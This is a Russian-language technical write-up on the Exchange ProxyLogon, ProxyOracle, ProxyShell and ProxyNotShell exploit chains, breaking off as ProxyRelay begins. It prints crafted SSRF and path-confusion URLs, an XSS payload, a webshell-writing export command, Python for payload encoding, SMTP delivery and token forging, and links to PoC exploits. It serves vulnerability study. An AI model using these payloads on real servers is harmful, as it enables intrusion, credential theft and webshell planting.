В Frontend. имеется более 20 обработчиков, соответствующих различным путям приложения. При изучении реализаций исследователи обнаружили, что метод GetTargetBackEndServerUrl, отвечающий за вычисление URL-адреса Backend в обработчике статических ресурсов, напрямую назначает цель Backend с помощью файлов cookie.

HttpProxy\ProxyRequestHandler.cs

protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}

Из фрагмента кода видно, что свойство BackEndServer.Fqdn объекта AnchoredRoutingTarget присваивается непосредственно из файла cookie.

HttpProxy\OwaResourceProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    }
    return new AnonymousAnchorMailbox(this);
}

Exchange формирует URL бэкенда с помощью встроенного UriBuilder. Однако, поскольку C# не проверяет Host, мы можем заключить весь URL в специальные символы, чтобы получить доступ к произвольным серверам и портам.

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

Pasted image 20251004134429.png

На данный момент у нас есть супер-SSRF, который может контролировать почти все HTTP-запросы и получать все ответы. Самое впечатляющее то, что интерфейс Exchange генерирует для нас билет Kerberos, а это значит, что даже при атаке на защищённый HTTP-сервис, подключённый к домену, мы всё равно можем взломать его, используя аутентификацию учётной записи компьютера Exchange.

Poc: https://raw.githubusercontent.com/RickGeex/ProxyLogon/refs/heads/main/ProxyLogon.py

CVE-2021-27065 - Post-auth Arbitrary-File-Write
#

Благодаря супер SSRF мы можем получить доступ к бэкенду без ограничений. Далее нужно найти уязвимость RCE, чтобы объединить их в цепочку. Здесь мы используем внутренний API бэкенда /proxyLogon.ecp, чтобы стать администратором. Именно из-за API мы назвали эту уязвимость ProxyLogon.

Поскольку мы используем фронтенд-обработчик статических ресурсов для доступа к бэкенду панели управления ECExchange (ECP), заголовок msExchLogonMailbox , который является специальным HTTP-заголовком в бэкенде ECP, не будет блокироваться фронтендом. Воспользовавшись этим незначительным несоответствием, мы можем указать себя в качестве пользователя SYSTEM и создать действительный сеанс ECP с помощью внутреннего API.

Pasted image 20251004134551.png

Из-за несоответствия между фронтендом и бэкендом мы можем получить доступ ко всем функциям ECP с помощью подделки заголовков и злоупотребления внутренним API бэкенда. Далее нам нужно найти уязвимость RCE в интерфейсе ECP, чтобы объединить их. ECP представляет команды Exchange PowerShell в виде абстрактного интерфейса с помощью /ecp/DDI/DDIService.svc.DDIService определяет несколько конвейеров выполнения PowerShell с помощью XAML, чтобы к ним можно было получить доступ через веб-интерфейс. При проверке реализации DDI мы обнаружили, что тег WriteFileActivity не проверял должным образом путь к файлу, что приводило к произвольной записи в файл.

DDIService\WriteFileActivity.cs

public override RunResult Run(DataRow input, DataTable dataTable, DataObjectStore store, Type codeBehind, Workflow.UpdateTableDelegate updateTableDelegate) {
    DataRow dataRow = dataTable.Rows[0];
    string value = (string)input[this.InputVariable];
    string path = (string)input[this.OutputFileNameVariable];
    RunResult runResult = new RunResult();
    try {
        runResult.ErrorOccur = true;
        using (StreamWriter streamWriter = new StreamWriter(File.Open(path, FileMode.CreateNew)))
        {
            streamWriter.WriteLine(value);
        }
        runResult.ErrorOccur = false;
    }
    
    // ...
}

Существует несколько способов активировать уязвимость arbitrary-file-write. Здесь мы используем ResetOABVirtualDirectory.xaml в качестве примера и записываем результат Set-OABVirtualDirectory в веб-корень, чтобы получить веб-оболочку.

Pasted image 20251004134659.png

Теперь у нас есть рабочая цепочка эксплойтов RCE с предварительной аутентификацией. Злоумышленник без аутентификации может выполнять произвольные команды на сервере Microsoft Exchange через открытый порт 443

PoC: https://raw.githubusercontent.com/praetorian-inc/proxylogon-exploit/refs/heads/main/exploit.py

ProxyOracle
#

Pasted image 20251004140116.png

По сравнению с ProxyLogon, ProxyOracle — это интересный эксплойт с другим подходом. Заставив пользователя перейти по вредоносной ссылке, ProxyOracle позволяет злоумышленнику полностью восстановить пароль пользователя в открытом виде. ProxyOracle состоит из двух уязвимостей:

  • CVE-2021-31195 — XSS
  • CVE-2021-31196 — атака с использованием Padding Oracle при разборе файлов cookie Exchange

Согласно архитектуре CAS, которую мы разобрали ранее, интерфейсная часть CAS сначала сериализует идентификатор пользователя в строку и помещает её в заголовок X-CommonAccessToken. Заголовок будет объединён с HTTP-запросом клиента и позже отправлен на серверную часть. Получив запрос, серверная часть десериализует заголовок обратно в исходный идентификатор пользователя во интерфейсной части.

Веб-доступ к Outlook (OWA) использует специальный интерфейс для обработки всего механизма входа в систему, который называется аутентификацией на основе форм (FBA). FBA — это специальный модуль IIS, который наследует ProxyModule и отвечает за преобразование учётных данных в файлы cookie перед выполнением логики прокси.

Pasted image 20251004140326.png

Механизм FBA
#

HTTP — это протокол без сохранения состояния. Чтобы сохранить состояние входа в систему, FBA сохраняет имя пользователя и пароль в файлах cookie. При каждом посещении OWA Exchange анализирует файлы cookie, извлекает учетные данные и пытается войти в систему с их помощью. Если вход в систему прошел успешно, Exchange сериализует ваши учетные данные в строку, помещает ее в заголовок X-CommonAccessToken и отправляет на серверную часть.

HttpProxy\FbaModule.cs

protected override void OnBeginRequestInternal(HttpApplication httpApplication) {

    httpApplication.Context.Items["AuthType"] = "FBA";
    if (!this.HandleFbaAuthFormPost(httpApplication)) {
        try {
            this.ParseCadataCookies(httpApplication);
        } catch (MissingSslCertificateException) {
            NameValueCollection nameValueCollection = new NameValueCollection();
            nameValueCollection.Add("CafeError", ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());
            throw new HttpException(302, AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context, nameValueCollection));
        }
    }
    base.OnBeginRequestInternal(httpApplication);
}

Все файлы cookie зашифрованы, чтобы даже в случае перехвата HTTP-запроса злоумышленник не сможет получить ваши учетные данные в открытом виде. FBA использует 5 специальных файлов cookie для полного процесса расшифровки:

  • cadata — Зашифрованные имя пользователя и пароль
  • cadataTTL — Временная метка Time-To-Live
  • cadataKey - КЛЮЧ для шифрования
  • cadataIV - Капельница для шифрования
  • cadataSig — Подпись для защиты от подделки

Pasted image 20251004140713.png

Сначала логика шифрования генерирует две случайные строки по 16 байт в качестве IV и KEY для текущего сеанса. Затем имя пользователя и пароль кодируются с помощью Base64, шифруются алгоритмом AES и отправляются обратно клиенту в виде файлов cookie. При этом IV и KEY также отправляются пользователю. Чтобы клиент не мог расшифровать учетные данные с помощью известных IV и KEY, Exchange снова использует алгоритм RSA для шифрования IV и KEY с помощью закрытого ключа SSL-сертификата перед отправкой!

Вот псевдокод для логики шифрования:

@key = GetServerSSLCert().GetPrivateKey()
cadataSig = RSA(@key).Encrypt("Fba Rocks!")
cadataIV  = RSA(@key).Encrypt(GetRandomBytes(16))
cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))

@timestamp = GetCurrentTimestamp()
cadataTTL  = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)

@blob  = "Basic " + ToBase64String(UserName + ":" + Password)
cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)

В Exchange используется режим заполнения CBC. Если вы знакомы с криптографией, то, возможно, задаётесь вопросом, уязвим ли этот режим для атаки с использованием Padding Oracle? Да! На самом деле атака с использованием Padding Oracle всё ещё существует в таком важном программном обеспечении, как Exchange!

Pasted image 20251004140919.png

CVE-2021-31196 - The Padding Oracle
#

Если с FBA что-то не так, Exchange присваивает код ошибки и перенаправляет HTTP-запрос обратно на исходную страницу входа. Так где же Oracle? При расшифровке cookie Exchange использует исключение для обработки ошибки заполнения, и из-за этого исключения программа немедленно возвращается, так что номер кода ошибки равен 0, что означает None:

/OWA/logon.aspx?url=…&reason=0

В отличие от ошибки заполнения, если расшифровка прошла успешно, Exchange продолжит процесс аутентификации и попытается войти в систему с использованием повреждённых имени пользователя и пароля. В этот момент должен произойти сбой, а номер кода ошибки будет равен 2, что означает InvalidCredntials:

/OWA/logon.aspx?url=…&reason=2

Диаграмма выглядит следующим образом:

Pasted image 20251004141058.png

С учётом этого различия у нас теперь есть Oracle, который определяет, был ли процесс расшифровки успешным.

HttpProxy\FbaModule.cs

private void ParseCadataCookies(HttpApplication httpApplication)
{
    HttpContext context = httpApplication.Context;
    HttpRequest request = context.Request;
    HttpResponse response = context.Response;
    
    string text = request.Cookies["cadata"].Value;    
    string text2 = request.Cookies["cadataKey"].Value;    
    string text3 = request.Cookies["cadataIV"].Value;    
    string text4 = request.Cookies["cadataSig"].Value;    
    string text5 = request.Cookies["cadataTTL"].Value;
    
    // ...
    RSACryptoServiceProvider rsacryptoServiceProvider = (x509Certificate.PrivateKey as RSACryptoServiceProvider);
    
    byte[] array = null;
    byte[] array2 = null;
    byte[] rgb2 = Convert.FromBase64String(text2);
    byte[] rgb3 = Convert.FromBase64String(text3);
    array = rsacryptoServiceProvider.Decrypt(rgb2, true);
    array2 = rsacryptoServiceProvider.Decrypt(rgb3, true);
    
    // ...
    
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
        aesCryptoServiceProvider.Key = array;
        aesCryptoServiceProvider.IV = array2;
        
        using (ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor()) {
            byte[] bytes2 = null;
            try {
                byte[] array5 = Convert.FromBase64String(text);
                bytes2 = cryptoTransform2.TransformFinalBlock(array5, 0, array5.Length);
            } catch (CryptographicException ex8) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth", ex8);
                }
                httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");
                return;
            } catch (FormatException ex9) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth", ex9);
                }
                httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");
                return;
            }
            string @string = Encoding.Unicode.GetString(bytes2);
            request.Headers["Authorization"] = @string;
        }
    }
}

Следует отметить, что, поскольку IV зашифрован закрытым ключом SSL-сертификата, мы не можем восстановить первый блок зашифрованного текста с помощью XOR. Но это не вызовет у нас никаких проблем, поскольку C# внутренне обрабатывает строки как UTF-16, поэтому первые 12 байт зашифрованного текста должны быть B\x00a\x00s\x00i\x00c\x00 \x00. После применения ещё одной кодировки Base64 мы потеряем только первые 1,5 байта в поле имени пользователя.

(16 − 6 × 2) ÷ 2 × (3/4) = 1,5

На данный момент у нас есть Padding Oracle, который позволяет расшифровывать файлы cookie любого пользователя. НО как нам получить файлы cookie клиента? Здесь мы находим ещё одну уязвимость, позволяющую связать их воедино.

CVE-2021-31195 - XSS
#

Мы обнаружили XSS (CVE-2021-31195) во внешнем интерфейсе CAS (да, снова CAS). Основная причина этой XSS-ки довольно проста: Exchange забывает очищать данные перед их выводом, поэтому мы можем использовать \ для экранирования в формате JSON и внедрения произвольного кода JavaScript.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

Pasted image 20251004141310.png

Но тут возникает другой вопрос: все конфиденциальные файлы cookie защищены флагом HttpOnly, из-за чего мы не можем получить к ним доступ с помощью JavaScript. Что же делать?

Обход HttpOnly
#

Поскольку мы можем выполнять произвольный JavaScript-код в браузерах, почему бы нам просто не вставить файл cookie SSRF, который мы использовали в ProxyLogon? Как только мы добавим этот файл cookie и укажем в качестве целевого значения Backend наш вредоносный сервер, Exchange станет прокси-сервером между жертвами и нами. Затем мы сможем получить доступ ко всем статическим HTTP-ресурсам клиента и защищенным файлам cookie HttpOnly!

Pasted image 20251004141356.png

Объединив уязвимости в цепочку, мы получили элегантный эксплойт, который позволяет украсть файлы cookie любого пользователя, просто отправив ему вредоносную ссылку. Примечательно, что XSS-атака здесь помогает нам только украсть файл cookie, а это значит, что все процессы расшифровки не требуют аутентификации и взаимодействия с пользователем. Даже если пользователь закроет браузер, это не повлияет на нашу атаку с использованием Padding Oracle!

ProxyShell
#

Pasted image 20251004141541.png

ProxyShell это RCE с Pre-auth в Microsoft Exchange Server, которое состоит из трёх уязвимостей:

CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass
#

Первая уязвимость ProxyShell похожа на SSRF в ProxyLogon. Она также возникает, когда фронтенд (известный как службы клиентского доступа, или CAS) вычисляет URL-адрес бэкенда. Когда HTTP-запрос клиента классифицируется как запрос на явное входное подключение, Exchange нормализует URL-адрес запроса и удаляет часть с адресом почтового ящика перед маршрутизацией запроса на бэкенд.

Явный вход — это специальная функция Exchange, которая позволяет браузеру встраивать или отображать почтовый ящик или календарь конкретного пользователя с помощью одного URL-адреса. Для использования этой функции URL-адрес должен быть простым и содержать адрес отображаемого почтового ящика. Например:

https://exchange/OWA/[email protected]/Default.aspx

В ходе нашего исследования было обнаружено, что в некоторых обработчиках, таких как EwsAutodiscoverProxyRequestHandler, можно указать адрес почтового ящика в строке запроса. Поскольку Exchange не выполняет достаточных проверок адреса почтового ящика, есть возможность удалить часть URL-адреса в строке запроса во время нормализации URL-адреса, чтобы получить доступ к произвольному внутреннему URL-адресу.

HttpProxy/EwsAutodiscoverProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() { 
     
    if (this.skipTargetBackEndCalculation) { 
        base.Logger.Set(3, "OrgRelationship-Anonymous"); 
        return new AnonymousAnchorMailbox(this); 
    } 
 
    if (base.UseRoutingHintForAnchorMailbox) { 
        string text; 
        if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) { 
            text = base.ClientRequest.Params["Email"]; 
        } else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) { 
            int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/'); 
            text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1); 
        } else { 
            text = this.TryGetExplicitLogonNode(0); 
        } 
         
        string text2; 
        if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2)) 
        { 
            this.isExplicitLogonRequest = true; 
            this.explicitLogonAddress = text; 
             
            //... 
        } 
    } 
    return base.ResolveAnchorMailbox(); 
} 
 
protected override UriBuilder GetClientUrlForProxy() { 
    string absoluteUri = base.ClientRequest.Url.AbsoluteUri; 
    string uri = absoluteUri; 
    if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri)) 
    { 
        uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); 
    } 
    return new UriBuilder(uri); 
}

Из приведённого выше фрагмента кода видно, что если URL-адрес проходит проверку IsAutodiscoverV2PreviewRequest, то мы можем указать адрес для явного входа в систему с помощью параметра Email в строке запроса. Это просто, потому что этот метод выполняет лишь простую проверку суффикса URL-адреса.

public static bool IsAutodiscoverV2PreviewRequest(string path) { 
ArgumentValidator.ThrowIfNull("path", path); 
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase); 
} 
 
public static bool IsAutodiscoverV2Request(string path) { 
    ArgumentValidator.ThrowIfNull("path", path); 
    return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path); 
}

Затем адрес явного входа в систему будет передан в качестве аргумента методу RemoveExplicitLogonFromUrlAbsoluteUri, а метод просто использует Substring для удаления указанного нами шаблона.

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { 
    ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri); 
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); 
    string text = "/" + explicitLogonAddress; 
    int num = absoluteUri.IndexOf(text); 
    if (num != -1) { 
        return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); 
    } 
    return absoluteUri; 
}

Здесь мы создали следующий URL-адрес, чтобы нарушить процесс нормализации URL-адреса для явного входа в систему:

https://exchange/autodiscover/[email protected]/&Email=autodiscover/autodiscover.json%[email protected]

Pasted image 20251004144720.png

Эта ошибка нормализации URL-адресов позволяет нам получить доступ к произвольному внутреннему URL-адресу, когда мы работаем под учетной записью Exchange Server. Хотя эта уязвимость не такая мощная, как SSRF в ProxyLogon, и мы можем манипулировать только частью URL-адреса, относящейся к пути, она все же позволяет нам проводить дальнейшие атаки с произвольным доступом к внутреннему серверу.

Pasted image 20251004144822.png

CVE-2021-34523 - Exchange PowerShell Backend Elevation-of-Privilege
#

На данный момент мы можем получить доступ к произвольным внутренним URL-адресам. Остальная часть — это постэксплуатационная часть. Из-за глубокой защиты RBAC в Exchange (ProtocolType в /Autodiscover отличается от /Ecp), непривилегированная операция, используемая в ProxyLogon для создания сеанса ECP, запрещена. Поэтому нам нужно найти новый способ её использования. Здесь мы сосредоточимся на функции под названием Exchange PowerShell Remoting.

Exchange PowerShell Remoting — это функция, которая позволяет пользователям отправлять и читать почту, а также обновлять конфигурацию из командной строки. Удаленное взаимодействие с Exchange PowerShell основано на WS-Management и реализует множество командлетов для автоматизации. Однако аутентификация и авторизация по-прежнему основаны на исходной архитектуре CAS.

Следует отметить, что, хотя мы можем получить доступ к серверной части Exchange PowerShell, мы всё равно не можем правильно взаимодействовать с ней, поскольку у пользователя NT AUTHORITY\SYSTEM. нет действительного почтового ящика. Мы также не можем добавить заголовок X-CommonAccessToken для подмены нашей личности и выдачи себя за другого пользователя.

Configuration\RemotePowershellBackendCmdletProxyModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) { 
    HttpContext httpContext = HttpContext.Current; 
    if (httpContext.Request.IsAuthenticated) { 
        if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { 
            Uri url = httpContext.Request.Url; 
            Exception ex = null; 
            CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. 
                User.Identity.ToString(), url, out ex); 
        } 
    } 
} 
 
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { 
    ex = null; 
    CommonAccessToken result = null; 
    string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT"); 
    if (!string.IsNullOrWhiteSpace(text)) { 
        try { 
            result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); 
        } catch (Exception ex2) { 
            // handle exception here 
        } 
    } 
    return result; 
}

Судя по фрагменту кода, если серверная часть PowerShell не может найти заголовок X-CommonAccessToken в текущем запросе, она попытается десериализовать и восстановить удостоверение пользователя из параметра X-Rps-CAT в строке запроса. Похоже, что этот фрагмент кода предназначен для внутренней коммуникации в Exchange PowerShell. Однако, поскольку мы можем напрямую обращаться к серверной части и указывать произвольное значение в X-Rps-CAT, мы можем выдавать себя за любого пользователя. Мы используем это, чтобы «понизить» свой статус с SYSTEM, у которой нет почтового ящика, до Exchange Admin.

Теперь мы можем выполнять произвольные команды Exchange PowerShell от имени администратора Exchange!

CVE-2021-31207 - Post-auth Arbitrary-File-Write
#

Последняя часть цепочки эксплойтов — поиск метода RCE после аутентификации с использованием команд Exchange PowerShell. Это несложно, ведь мы являемся администратором и можем использовать сотни команд. Здесь мы нашли команду New-MailboxExportRequest, которая экспортирует почтовый ящик пользователя по указанному пути.

New-MailboxExportRequest -Mailbox [email protected] -FilePath\\127.0.0.1\C$\path\to\shell.aspx

Эта команда нам полезна, так как позволяет создать файл по произвольному пути. Что ещё лучше, экспортированный файл представляет собой почтовый ящик, в котором хранятся письма пользователя, поэтому мы можем отправить нашу вредоносную полезную нагрузку через SMTP. Но есть одна проблема: похоже, что содержимое письма хранится не в открытом виде, потому что мы не можем найти нашу полезную нагрузку в экспортированном файле :(

Но исследователи обнаружили, что выходные данные имеют формат личных папок Outlook (PST). Изучив официальную документацию от Microsoft, они узнали, что в PST используется простое перестановочное кодирование (NDB_CRYPT_PERMUTE) для кодирования полезной нагрузки. Таким образом, можно закодировать полезную нагрузку перед отправкой, и когда сервер попытается сохранить и закодировать нашу полезную нагрузку, она превратится в исходный вредоносный код.

def encode(payload): 
    mpbbCryptFrom512 = [ 
        65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93, 
        30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136, 
        76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231, 
        35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251, 
        170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160, 
        143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191, 
        38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134, 
        126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205, 
        226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48, 
        77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129, 
        18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220, 
        144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135, 
        88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148, 
        243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103, 
        16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192, 
        162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61 
    ] 
 
    tmp = '' 
    for i in payload: 
        tmp += chr(mpbbCryptFrom512.index(ord(i))) 
 
    assert '\n' not in tmp and '\r' not in tmp 
    return tmp

Proof Of Concept
#

Шаг 1. Доставка вредоносной полезной нагрузки

Сначала мы доставляем нашу закодированную веб-оболочку в целевой почтовый ящик через SMTP. Если целевой почтовый сервер не поддерживает отправку писем от неавторизованных пользователей, в качестве альтернативного способа доставки вредоносного кода можно использовать Gmail.

from_mail = '[email protected]' 
to_mail   = '[email protected]' 
payload   = 'webshell code here...' 
 
msg = MIMEText(None, _subtype='plain') 
msg.set_payload('hi', 'utf-8') 
 
msg['Subject'] = 'exploit' 
msg['From'] = from_mail 
msg['To'] = to_mail 
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16) 
msg = msg.as_string().replace('\n', '\r\n') 
 
r = smtplib.SMTP('exchange.local', port=25) 
r.sendmail(from_mail, to_mail, msg)

Шаг 2. Создание сеанса PowerShell

Поскольку PowerShell основан на протоколе WinRM, а реализовать универсальный клиент WinRM непросто, мы используем прокси-сервер для перехвата соединения PowerShell и изменения трафика. Сначала мы переписываем URL-адрес, добавляя путь EwsAutodiscoverProxyRequestHandler, что приводит к ошибке в пути и позволяет нам получить доступ к серверной части PowerShell. Затем мы вставляем параметр X-Rps-CAT в строку запроса, чтобы выдать себя за любого пользователя. Здесь мы указываем идентификатор безопасности Exchange Admin, чтобы стать администратором!

app = Flask(__name__) 
@app.route('/<path:path>', methods = ['POST', 'GET']) 
def index(path): 
    if request.method == 'GET': 
        return 'ok' 
 
    # check data 
    data = request.stream.read() 
    action = re.search(r'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', data) 
    assert action, "WinRM action not found" 
 
    # modify headers 
    req_headers = {} 
    for k, v in request.headers.iteritems(): 
        if k == 'Host': 
            v = HOST 
        if k == 'Authorization': 
            continue 
        req_headers[k] = v 
 
    # create X-Rps-CAT token 
    token = b64encode(create_token(SID, LOGON_NAME)) 
     
    # rewrite to `autodiscover` and trigger the path confusion bug  
    r = exploit('/Powershell?X-Rps-CAT=' + token, headers=req_headers, data=data) 
 
    # make response 
    resp = Response(r.content, status=r.status_code) 
    for k, v in r.headers.iteritems(): 
        if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: 
            continue 
        resp.headers[k] = v 
 
    return resp 
 
app.run(host="127.0.0.1", port=8000)

Шаг 3. Выполнение вредоносной команды PowerShell

В установленном сеансе PowerShell мы выполняем следующие команды PowerShell:

  1. New-ManagementRoleAssignment чтобы предоставить себе роль «Импорт и экспорт почтовых ящиков».
  2. New-MailboxExportRequest чтобы экспортировать почтовый ящик, содержащий нашу вредоносную программу, в webroot, он будет выступать в качестве нашей веб-оболочки.
$uri = 'http://127.0.0.1:8000/PowerShell/' 
$username = 'whatever' # unimportant 
$password = 'whatever' # unimportant 
 
$secure = ConvertTo-SecureString $password -AsPlainText -Force 
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure) 
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck 
 
$params = @{ 
    ConfigurationName = "Microsoft.Exchange" 
    Authentication    = "Basic" 
    ConnectionUri     = $uri 
    Credential        = $creds 
    SessionOption     = $option 
    AllowRedirection  = $ture 
} 
$session = New-PSSession @params 
 
Invoke-Command -Session $session -ScriptBlock { 
    # PowerShell commands to execute... 
}

Последний шаг — ловим шелл.

PoC: https://github.com/ktecv2000/ProxyShell/

ProxyNotShell
#

Первым шагом в этой атаке является использование CVE-2022-41040 для получения доступа к конечной точке API PowerShell. Из-за недостаточной фильтрации входных данных в механизме Exchange Autodiscover злоумышленник, знающий комбинацию логина и пароля для зарегистрированной учётной записи, может получить доступ к привилегированной конечной точке API Exchange Server (https://%_домен сервера Exchange%_/powershell)**. Этот доступ позволяет злоумышленнику выполнять команды PowerShell в среде Exchange на сервере, передавая их в полезной нагрузке через протокол XML SOAP.

На следующем этапе злоумышленник должен получить доступ к веб-управлению предприятием (WBEM) через протокол WSMAN. Злоумышленник запускает оболочку в уязвимой системе для дальнейшего выполнения сценариев PowerShell через удаленное управление Windows (PsRemoting).

Pasted image 20251004150700.png

После запуска оболочки злоумышленник должен немедленно продлить срок её действия. В противном случае оболочка будет закрыта, так как по умолчанию срок её действия слишком мал. Это необходимо для дальнейшего выполнения команд на Exchange Server. Для этого злоумышленник немедленно отправляет специальный запрос через WSMAN, который включает опцию keep alive.

Pasted image 20251004150708.png

После этого злоумышленник использует вторую уязвимость — CVE-2022-41082. С помощью PowerShell Remoting злоумышленник отправляет запрос на создание адресной книги, передавая в качестве параметра закодированные и сериализованные данные со специальной полезной нагрузкой. В опубликованном PoC эти закодированные данные содержат гаджет под названием System.UnitySerializationHolder, который создает объект класса System.Windows.Markup.XamlReader. Этот класс обрабатывает данные XAML из полезной нагрузки, которая создаёт новый объект класса System.Diagnostics и содержит вызов метода для открытия нового процесса в целевой системе. В опубликованном примере кода этот процесс называется calc.exe.

Pasted image 20251004150722.png

Pasted image 20251004150728.png

Через несколько недель после того, как об уязвимости стало известно, «Лаборатория Касперского» обнаружила успешную эксплуатацию ProxyNotShell в реальных условиях. Злоумышленник выполнил следующие действия:

  • Рекогносцировка (пользователей, групп, доменов)
  • Различные попытки взлома (включая установку уязвимых двоичных файлов)
  • Дистанционное внедрение процесса
  • Настойчивость
  • Обратная оболочка

В данном случае у злоумышленника были учётные данные для осуществления такого вторжения. Он воспользовался Exchange-сервером компании и в результате смог создать на Exchange-компьютере любой процесс, передавая команды в качестве полезной нагрузки.

Pasted image 20251004151019.png

На стороне сервера все процессы, запущенные с помощью эксплойта, имеют основной родительский процесс с определёнными параметрами: w3wp.exe -ap «msexchangepowershellapppool».

ProxyRelay
#

В результате ProxyRelay злоумышленник может обойти аутентификацию Exchange или даже получить доступ к выполнению кода без участия пользователя. Вот список соответствующих CVE:

Следующие атаки имеют схожий шаблон: EX01 обозначает первый сервер Exchange, EX02 — второй сервер Exchange, а ATTACKER — сервер, контролируемый злоумышленником.

Во всех атаках злоумышленник вынуждает первый сервер Exchange инициировать аутентификацию по протоколу NTLM и передавать её второму серверу Exchange. Мы используем printerbug.py, чтобы заставить сервер инициировать SMB-соединение, и ntlmrelayx.py, чтобы перехватить NTLM и передать аутентификацию другому серверу Exchange.

Relay to Exchange FrontEnd
#

